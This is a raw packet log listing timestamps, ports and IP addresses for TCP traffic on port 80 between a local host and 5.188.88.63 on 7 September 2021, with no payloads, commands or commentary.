Sep 7, 2021 16:03:05.402348042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402348995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402373075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402391911 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402396917 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402419090 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402441978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402441978 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402465105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402483940 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402489901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402513981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402533054 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402535915 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402560949 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402580976 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402585030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402606964 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402642012 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402650118 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402673006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402695894 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402698994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402724028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402740955 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402746916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402770042 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402786970 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402791977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402816057 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402839899 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402849913 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402863026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402887106 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402889967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402915001 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402935982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402950048 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402960062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.402976990 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.402985096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403008938 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403031111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403039932 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403052092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403078079 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403084040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403104067 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403130054 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403152943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403177023 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403198957 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403203011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403227091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403263092 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403269053 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403292894 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403318882 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403320074 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403343916 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403367043 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403372049 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403389931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403412104 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403414965 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403434992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403458118 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403458118 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403481960 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403501987 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.403507948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.403551102 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.445923090 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.477726936 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.477765083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.477935076 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478219032 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478245974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478267908 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478290081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478315115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478326082 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478338957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478360891 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478360891 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478384018 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478385925 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478405952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478426933 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478426933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478449106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478471041 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478491068 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478496075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478518009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478526115 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478539944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478560925 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478563070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478585958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478598118 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478607893 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478630066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478650093 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478652000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478677034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478688955 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478701115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478722095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478744030 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478751898 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478766918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478792906 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478862047 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478883982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478904963 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.478923082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478945017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.478960991 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.479001045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479023933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479041100 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.479063034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479085922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479104042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.479108095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479146004 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.479162931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479219913 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479243040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479259014 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.479294062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479320049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479336023 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.479342937 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479365110 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479381084 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.479418039 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479441881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479460955 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.479465008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479487896 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479509115 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.479597092 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.479644060 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.542475939 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.552958012 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.552983046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553002119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553025007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553045034 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553128958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553129911 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553152084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553174019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553183079 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553195000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553219080 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553225040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553260088 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553282022 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553293943 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553303957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553325891 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553332090 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553354025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553378105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553381920 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553400040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553421021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553421021 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553442955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553462982 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553467035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553491116 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553507090 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553513050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553534985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553555965 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553556919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553580046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553599119 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553601980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553622961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553631067 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553647995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553661108 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553669930 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553692102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553699017 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553713083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553731918 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553735018 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553756952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553770065 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553777933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553798914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553822994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553826094 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553894043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.553929090 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553963900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.553986073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554001093 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554008007 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554030895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554048061 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554053068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554076910 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554091930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554100037 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554121017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554142952 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554151058 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554162979 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554183006 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554187059 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554198980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554220915 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554224968 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554236889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554251909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554267883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554275036 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554286957 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554303885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554310083 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554320097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554335117 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554335117 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554352045 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554367065 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554379940 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554382086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554397106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554414988 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554415941 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554433107 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554441929 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554447889 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554464102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554466963 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554480076 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554491043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554496050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554517984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554527044 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554534912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554559946 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554563999 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554578066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554594040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554610014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.554615974 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.554655075 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.617755890 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.617784977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.617825985 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.627939939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.627978086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628005981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628026962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628046036 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628071070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628072023 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628096104 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628098965 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628120899 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628144026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628166914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628175020 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628190994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628213882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628216028 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628240108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628248930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628264904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628284931 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628288031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628312111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628334999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628353119 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628357887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628381968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628382921 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628437042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628447056 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628470898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628494978 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628511906 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628519058 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628542900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628557920 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628568888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628592968 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628608942 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628616095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628643990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628667116 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628669977 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628691912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628711939 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628715992 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628739119 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628761053 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628763914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628787994 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628807068 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628810883 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628837109 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628845930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628860950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628884077 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628906965 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628911018 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628931999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628951073 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.628954887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628982067 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.628995895 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.629005909 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.629028082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.629041910 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.629050970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.629074097 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.629101038 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.683614016 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.683790922 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.756763935 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.756824970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.756846905 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:05.756850004 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:05.756885052 CEST	80	49772	5.188.88.63	192.168.2.4
